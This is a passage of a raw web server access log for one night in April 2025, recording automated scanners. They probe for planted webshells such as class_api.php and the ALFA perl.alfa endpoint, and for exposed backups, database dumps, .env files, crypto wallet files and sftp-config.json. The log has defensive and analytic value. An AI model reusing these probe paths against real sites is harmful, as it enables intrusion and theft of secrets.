[10/Apr/2025:00:14:27 -0400] "GET //wp-includes/IXR/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:32 -0400] "GET //wp-content/languages/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:36 -0400] "GET //class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:39 -0400] "GET //.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:44 -0400] "GET //.tmb/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:48 -0400] "GET //wp-content/languages/themes/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:55 -0400] "GET //wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:59 -0400] "GET //wp-admin/js/widgets/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:05 -0400] "GET //wp-admin/network/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:16 -0400] "GET //.tmb/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:31 -0400] "GET //assets/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:37 -0400] "GET //common/css/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:40 -0400] "GET //common/img/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:44 -0400] "GET //.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:48 -0400] "GET //wp-admin/user/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:15:50 -0400] "GET //wp-includes/rest-api/fields/cache/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:16:03 -0400] "GET //wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:16:07 -0400] "GET //wp-includes/IXR/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:16:10 -0400] "GET //wp-includes/Requests/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:16:13 -0400] "GET //wp-includes/random_compat/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:16:23 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.47.64 - - [10/Apr/2025:00:20:42 -0400] "GET / HTTP/1.1" 301 0 "-" "-" 178.175.129.14 - - [10/Apr/2025:00:22:47 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 178.175.129.11 - - [10/Apr/2025:00:35:56 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 170.62.245.3 - - [10/Apr/2025:00:50:34 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 170.62.245.7 - - [10/Apr/2025:00:50:35 -0400] "GET /backup/directory.rar HTTP/1.1" 301 795 "-" "-" 170.62.245.7 - - [10/Apr/2025:00:50:38 -0400] "GET /backup/archive.zip HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [10/Apr/2025:00:50:40 -0400] "GET /restore/Archive.zip HTTP/1.1" 301 795 "-" "-" 89.38.224.166 - - [10/Apr/2025:00:50:44 -0400] "GET /backups/bak.zip HTTP/1.1" 301 795 "-" "-" 170.62.245.6 - - [10/Apr/2025:00:50:45 -0400] "HEAD /old/sql.sql HTTP/1.1" 301 0 "-" "-" 170.62.245.6 - - [10/Apr/2025:00:50:47 -0400] "GET /backup/www.zip HTTP/1.1" 301 795 "-" "-" 170.62.245.7 - - [10/Apr/2025:00:50:49 -0400] "GET /backups/www.gz HTTP/1.1" 301 795 "-" "-" 170.62.245.2 - - [10/Apr/2025:00:50:52 -0400] "GET /backup.sql.zip HTTP/1.1" 301 795 "-" "-" 170.62.245.9 - - [10/Apr/2025:00:50:55 -0400] "HEAD /backup/www.sql HTTP/1.1" 301 0 "-" "-" 170.62.245.10 - - [10/Apr/2025:00:50:57 -0400] "GET /backup/www.tar.gz HTTP/1.1" 301 795 "-" "-" 170.62.245.7 - - [10/Apr/2025:00:50:59 -0400] "GET /bak/www.gz HTTP/1.1" 301 795 "-" "-" 89.38.224.165 - - [10/Apr/2025:00:51:02 -0400] "HEAD /wallet/logs.txt HTTP/1.1" 301 0 "-" "-" 170.62.245.9 - - [10/Apr/2025:00:51:04 -0400] "GET /bak/public_html.rar HTTP/1.1" 301 795 "-" "-" 170.62.245.6 - - [10/Apr/2025:00:51:06 -0400] "GET /bak/website.tar HTTP/1.1" 301 795 "-" "-" 3.17.66.8 - - [10/Apr/2025:01:03:17 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 172.172.103.135 - - [10/Apr/2025:01:14:19 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:26 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:28 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:32 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:34 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:36 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:38 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:39 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:41 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [10/Apr/2025:01:14:42 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.130.81.9 - - [10/Apr/2025:01:40:29 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.130.81.38 - - [10/Apr/2025:01:40:32 -0400] "GET /back/directory.rar HTTP/1.1" 301 795 "-" "-" 45.130.81.32 - - [10/Apr/2025:01:40:36 -0400] "HEAD /dump.sql HTTP/1.1" 301 0 "-" "-" 45.130.81.16 - - [10/Apr/2025:01:40:39 -0400] "HEAD /backups/wallet.dat HTTP/1.1" 301 0 "-" "-" 45.130.81.11 - - [10/Apr/2025:01:40:40 -0400] "GET /old/public_html.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.51 - - [10/Apr/2025:01:40:42 -0400] "GET /backup/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 45.130.81.49 - - [10/Apr/2025:01:40:44 -0400] "HEAD /backups/config.json HTTP/1.1" 301 0 "-" "-" 45.130.81.51 - - [10/Apr/2025:01:40:46 -0400] "GET /backup/backup.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.27 - - [10/Apr/2025:01:40:49 -0400] "GET /old/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 45.130.81.30 - - [10/Apr/2025:01:40:52 -0400] "GET /old/bak.tar HTTP/1.1" 301 795 "-" "-" 45.130.81.25 - - [10/Apr/2025:01:40:55 -0400] "GET /backup/website.tar HTTP/1.1" 301 795 "-" "-" 45.130.81.9 - - [10/Apr/2025:01:40:58 -0400] "GET /back/Archive.zip HTTP/1.1" 301 795 "-" "-" 45.130.81.2 - - [10/Apr/2025:01:40:59 -0400] "GET /restore/website.rar HTTP/1.1" 301 795 "-" "-" 185.221.132.221 - - [10/Apr/2025:01:49:19 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [10/Apr/2025:01:49:22 -0400] "GET /old/www.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:24 -0400] "GET /old/Archive.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:29 -0400] "GET /backup/www.tar HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:30 -0400] "GET /restore/bak.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:31 -0400] "HEAD /old/backup.sql HTTP/1.1" 301 0 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:34 -0400] "GET /backup/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.219 - - [10/Apr/2025:01:49:36 -0400] "GET /back/website.tar.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.222 - - [10/Apr/2025:01:49:40 -0400] "GET /website.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.221 - - [10/Apr/2025:01:49:42 -0400] "GET /old/full_backup.zip HTTP/1.1" 301 795 "-" "-" 185.221.132.221 - - [10/Apr/2025:01:49:47 -0400] "GET /backup/directory.gz HTTP/1.1" 301 795 "-" "-" 185.221.132.220 - - [10/Apr/2025:01:49:49 -0400] "GET /back/directory.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.17 - - [10/Apr/2025:02:27:10 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 98.159.226.22 - - [10/Apr/2025:02:27:12 -0400] "GET /back/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.20 - - [10/Apr/2025:02:27:14 -0400] "GET /bak/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.17 - - [10/Apr/2025:02:27:18 -0400] "GET /backups/www.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.22 - - [10/Apr/2025:02:27:21 -0400] "GET /website.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.23 - - [10/Apr/2025:02:27:21 -0400] "GET /restore/website.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.23 - - [10/Apr/2025:02:27:24 -0400] "GET /old/website.tar.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.16 - - [10/Apr/2025:02:27:26 -0400] "HEAD /backup/sftp-config.json HTTP/1.1" 301 0 "-" "-" 98.159.226.20 - - [10/Apr/2025:02:27:28 -0400] "GET /backups/website.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.18 - - [10/Apr/2025:02:27:33 -0400] "GET /bak/config.js HTTP/1.1" 301 795 "-" "-" 98.159.226.22 - - [10/Apr/2025:02:27:36 -0400] "GET /backup/www.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.23 - - [10/Apr/2025:02:27:38 -0400] "GET /backups/config.js HTTP/1.1" 301 795 "-" "-" 178.175.129.9 - - [10/Apr/2025:03:05:36 -0400] "GET / HTTP/1.1" 301 0 "-" "-" 196.251.86.53 - - [10/Apr/2025:03:09:45 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.53 - - [10/Apr/2025:03:09:45 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.53 - - [10/Apr/2025:03:09:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.53 - - [10/Apr/2025:03:09:45 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.86.53 - - [10/Apr/2025:03:09:45 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.86.53 - - [10/Apr/2025:03:09:59 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.192.71.171 - - [10/Apr/2025:03:18:15 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.69.193 - - [10/Apr/2025:03:19:31 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.16.137 - - [10/Apr/2025:03:27:14 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.16.154 - - [10/Apr/2025:03:27:18 -0400] "GET /restore/website.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.160 - - [10/Apr/2025:03:27:21 -0400] "HEAD /backup.sql HTTP/1.1" 301 0 "-" "-" 185.192.16.105 - - [10/Apr/2025:03:27:22 -0400] "GET /backup/website.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.158 - - [10/Apr/2025:03:27:25 -0400] "GET /backups/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.153 - - [10/Apr/2025:03:27:27 -0400] "GET /directory.zip HTTP/1.1" 301 795 "-" "-" 185.192.16.137 - - [10/Apr/2025:03:27:29 -0400] "GET /old/directory.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.118 - - [10/Apr/2025:03:27:31 -0400] "GET /old/directory.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.154 - - [10/Apr/2025:03:27:34 -0400] "GET /old/www.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.123 - - [10/Apr/2025:03:27:37 -0400] "GET /old/website.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.110 - - [10/Apr/2025:03:27:39 -0400] "GET /backup/index.zip HTTP/1.1" 301 795 "-" "-" 185.192.16.119 - - [10/Apr/2025:03:27:42 -0400] "HEAD /backup/config.json HTTP/1.1" 301 0 "-" "-" 185.192.16.137 - - [10/Apr/2025:03:27:43 -0400] "GET /backups/website.rar HTTP/1.1" 301 795 "-" "-" 170.62.228.1 - - [10/Apr/2025:03:29:37 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 40.70.220.174 - - [10/Apr/2025:03:32:13 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 155.2.217.9 - - [10/Apr/2025:03:32:25 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.16.137 - - [10/Apr/2025:03:44:12 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.16.109 - - [10/Apr/2025:03:44:15 -0400] "GET /www.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.142 - - [10/Apr/2025:03:44:18 -0400] "GET /directory.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.113 - - [10/Apr/2025:03:44:21 -0400] "GET /backup/www.rar HTTP/1.1" 301 795 "-" "-" 185.192.16.131 - - [10/Apr/2025:03:44:23 -0400] "GET /back/website.tar HTTP/1.1" 301 795 "-" "-" 185.192.16.146 - - [10/Apr/2025:03:44:25 -0400] "GET /restore/website.zip HTTP/1.1" 301 795 "-" "-" 185.192.16.139 - - [10/Apr/2025:03:44:28 -0400] "GET /old/website.rar HTTP/1.1" 301 795 "-" "-" 185.192.16.105 - - [10/Apr/2025:03:44:30 -0400] "HEAD /wallet.dat HTTP/1.1" 301 0 "-" "-" 185.192.16.142 - - [10/Apr/2025:03:44:32 -0400] "GET /backups/directory.tar HTTP/1.1" 301 795 "-" "-" 185.192.16.147 - - [10/Apr/2025:03:44:36 -0400] "GET /backups/archive.zip HTTP/1.1" 301 795 "-" "-" 185.192.16.159 - - [10/Apr/2025:03:44:38 -0400] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.120 - - [10/Apr/2025:03:44:40 -0400] "GET /bak.gz HTTP/1.1" 301 795 "-" "-" 185.192.16.139 - - [10/Apr/2025:03:44:42 -0400] "GET /restore/web.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.11 - - [10/Apr/2025:03:46:44 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 85.206.169.10 - - [10/Apr/2025:03:46:46 -0400] "HEAD /bak/dump.sql HTTP/1.1" 301 0 "-" "-" 85.206.169.13 - - [10/Apr/2025:03:46:49 -0400] "GET /backups/wallet.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.10 - - [10/Apr/2025:03:46:52 -0400] "HEAD /backup/dump.sql HTTP/1.1" 301 0 "-" "-" 85.206.169.12 - - [10/Apr/2025:03:46:54 -0400] "GET /old/config.js HTTP/1.1" 301 795 "-" "-" 85.206.169.11 - - [10/Apr/2025:03:46:57 -0400] "GET /bak/index.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.13 - - [10/Apr/2025:03:47:00 -0400] "GET /old/public_html.rar HTTP/1.1" 301 795 "-" "-" 85.206.169.12 - - [10/Apr/2025:03:47:03 -0400] "GET /old/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 85.206.169.14 - - [10/Apr/2025:03:47:05 -0400] "HEAD /old/mysql.sql HTTP/1.1" 301 0 "-" "-" 85.206.169.9 - - [10/Apr/2025:03:47:07 -0400] "GET /back/application.zip HTTP/1.1" 301 795 "-" "-" 85.206.169.9 - - [10/Apr/2025:03:47:09 -0400] "HEAD /restore/backup.sql HTTP/1.1" 301 0 "-" "-" 85.206.169.12 - - [10/Apr/2025:03:47:12 -0400] "GET /backup/backup.rar HTTP/1.1" 301 795 "-" "-" 85.206.169.14 - - [10/Apr/2025:03:47:14 -0400] "GET /old/backup.tar HTTP/1.1" 301 795 "-" "-" 205.169.39.57 - - [10/Apr/2025:04:08:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 185.192.70.96 - - [10/Apr/2025:04:14:10 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.192.70.75 - - [10/Apr/2025:04:14:12 -0400] "GET /back/index.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.3 - - [10/Apr/2025:04:14:15 -0400] "GET /old/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.76 - - [10/Apr/2025:04:14:18 -0400] "GET /backups/bak.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.75 - - [10/Apr/2025:04:14:21 -0400] "HEAD /config.json HTTP/1.1" 301 0 "-" "-" 185.192.70.99 - - [10/Apr/2025:04:14:23 -0400] "GET /bak/website.tar.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.89 - - [10/Apr/2025:04:14:24 -0400] "GET /bak/website.rar HTTP/1.1" 301 795 "-" "-" 185.192.70.69 - - [10/Apr/2025:04:14:26 -0400] "GET /public_html.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.83 - - [10/Apr/2025:04:14:29 -0400] "GET /backup/public_html.tar HTTP/1.1" 301 795 "-" "-" 185.192.70.76 - - [10/Apr/2025:04:14:32 -0400] "GET /old/web.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.3 - - [10/Apr/2025:04:14:33 -0400] "GET /back/www.gz HTTP/1.1" 301 795 "-" "-" 185.192.70.96 - - [10/Apr/2025:04:14:35 -0400] "GET /bak/full_backup.zip HTTP/1.1" 301 795 "-" "-" 185.192.70.83 - - [10/Apr/2025:04:14:38 -0400] "GET /back/backup.gz HTTP/1.1" 301 795 "-" "-" 209.38.21.145 - - [10/Apr/2025:04:15:39 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.91.20.219 - - [10/Apr/2025:04:23:43 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.91.20.219 - - [10/Apr/2025:04:23:46 -0400] "GET /restore/latest.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.220 - - [10/Apr/2025:04:23:49 -0400] "GET /back/backup.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.221 - - [10/Apr/2025:04:23:50 -0400] "GET /backup.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.221 - - [10/Apr/2025:04:23:53 -0400] "HEAD /bak/mysql.sql HTTP/1.1" 301 0 "-" "-" 45.91.20.219 - - [10/Apr/2025:04:23:56 -0400] "HEAD /old/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.91.20.198 - - [10/Apr/2025:04:23:58 -0400] "HEAD /sql.sql HTTP/1.1" 301 0 "-" "-" 45.91.20.221 - - [10/Apr/2025:04:24:00 -0400] "GET /back/latest.zip HTTP/1.1" 301 795 "-" "-" 45.91.20.220 - - [10/Apr/2025:04:24:03 -0400] "HEAD /config.json HTTP/1.1" 301 0 "-" "-" 45.91.20.220 - - [10/Apr/2025:04:24:05 -0400] "GET /bak/www.tar HTTP/1.1" 301 795 "-" "-" 45.91.20.220 - - [10/Apr/2025:04:24:07 -0400] "HEAD /old/www.sql HTTP/1.1" 301 0 "-" "-" 45.91.20.221 - - [10/Apr/2025:04:24:09 -0400] "GET /bak/backup.rar HTTP/1.1" 301 795 "-" "-" 45.91.20.219 - - [10/Apr/2025:04:24:12 -0400] "GET /bak/web.zip HTTP/1.1" 301 795 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:19 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:22 -0400] "GET /bak.tar HTTP/1.1" 301 795 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:25 -0400] "GET /backups/full_backup.zip HTTP/1.1" 301 795 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:28 -0400] "HEAD /backups/www.sql HTTP/1.1" 301 0 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:31 -0400] "GET /www.rar HTTP/1.1" 301 795 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:32 -0400] "HEAD /backups/mysql.sql HTTP/1.1" 301 0 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:35 -0400] "GET /bak/directory.tar HTTP/1.1" 301 795 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:37 -0400] "GET /restore/www.rar HTTP/1.1" 301 795 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:39 -0400] "GET /backups/public_html.zip HTTP/1.1" 301 795 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:41 -0400] "HEAD /bak/config.json HTTP/1.1" 301 0 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:43 -0400] "GET /backups/backup.zip HTTP/1.1" 301 795 "-" "-" 196.244.192.46 - - [10/Apr/2025:04:24:47 -0400] "GET /backup/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 196.244.192.45 - - [10/Apr/2025:04:24:48 -0400] "GET /bak/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 185.245.82.17 - - [10/Apr/2025:04:26:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 196.244.192.46 - - [10/Apr/2025:04:37:43 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 124.226.222.66 - - [10/Apr/2025:04:39:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.159.226.20 - - [10/Apr/2025:05:05:59 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 134.122.135.80 - - [10/Apr/2025:06:05:58 -0400] "GET /public/plugins/Ueditor/dialogs/attachment/fileTypeImages/icon_psd.gif HTTP/1.1" 301 795 "http://grimslut.com/public/plugins/Ueditor/dialogs/attachment/fileTypeImages/icon_psd.gif" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 170.106.84.136 - - [10/Apr/2025:06:24:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.102.63.10 - - [10/Apr/2025:06:26:19 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 14.102.63.5 - - [10/Apr/2025:06:26:21 -0400] "GET /backups/bak.tar HTTP/1.1" 301 795 "-" "-" 89.213.226.10 - - [10/Apr/2025:06:26:23 -0400] "GET /backup/backup.tar HTTP/1.1" 301 795 "-" "-" 14.102.63.1 - - [10/Apr/2025:06:26:26 -0400] "GET /old/wallet.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.6 - - [10/Apr/2025:06:26:28 -0400] "GET /backups/directory.gz HTTP/1.1" 301 795 "-" "-" 14.102.63.10 - - [10/Apr/2025:06:26:30 -0400] "GET /bak.zip HTTP/1.1" 301 795 "-" "-" 14.102.63.6 - - [10/Apr/2025:06:26:32 -0400] "HEAD /restore/dump.sql HTTP/1.1" 301 0 "-" "-" 89.213.226.8 - - [10/Apr/2025:06:26:34 -0400] "GET /bak/bak.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.4 - - [10/Apr/2025:06:26:35 -0400] "GET /back/directory.tar HTTP/1.1" 301 795 "-" "-" 14.102.63.9 - - [10/Apr/2025:06:26:38 -0400] "GET /bak/directory.zip HTTP/1.1" 301 795 "-" "-" 89.213.226.7 - - [10/Apr/2025:06:26:40 -0400] "HEAD /restore/config.json HTTP/1.1" 301 0 "-" "-" 89.213.226.3 - - [10/Apr/2025:06:26:42 -0400] "HEAD /back/sql.sql HTTP/1.1" 301 0 "-" "-" 14.102.63.7 - - [10/Apr/2025:06:26:43 -0400] "HEAD /backups/dump.sql HTTP/1.1" 301 0 "-" "-" 216.244.66.236 - - [10/Apr/2025:07:11:35 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 85.203.44.90 - - [10/Apr/2025:07:21:55 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [10/Apr/2025:08:07:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 45.95.243.166 - - [10/Apr/2025:08:56:54 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.95.243.144 - - [10/Apr/2025:08:56:57 -0400] "GET /full_backup.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.159 - - [10/Apr/2025:08:57:00 -0400] "GET /backups/backup.tar.gz HTTP/1.1" 301 795 "-" "-" 45.95.243.144 - - [10/Apr/2025:08:57:01 -0400] "GET /restore/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.158 - - 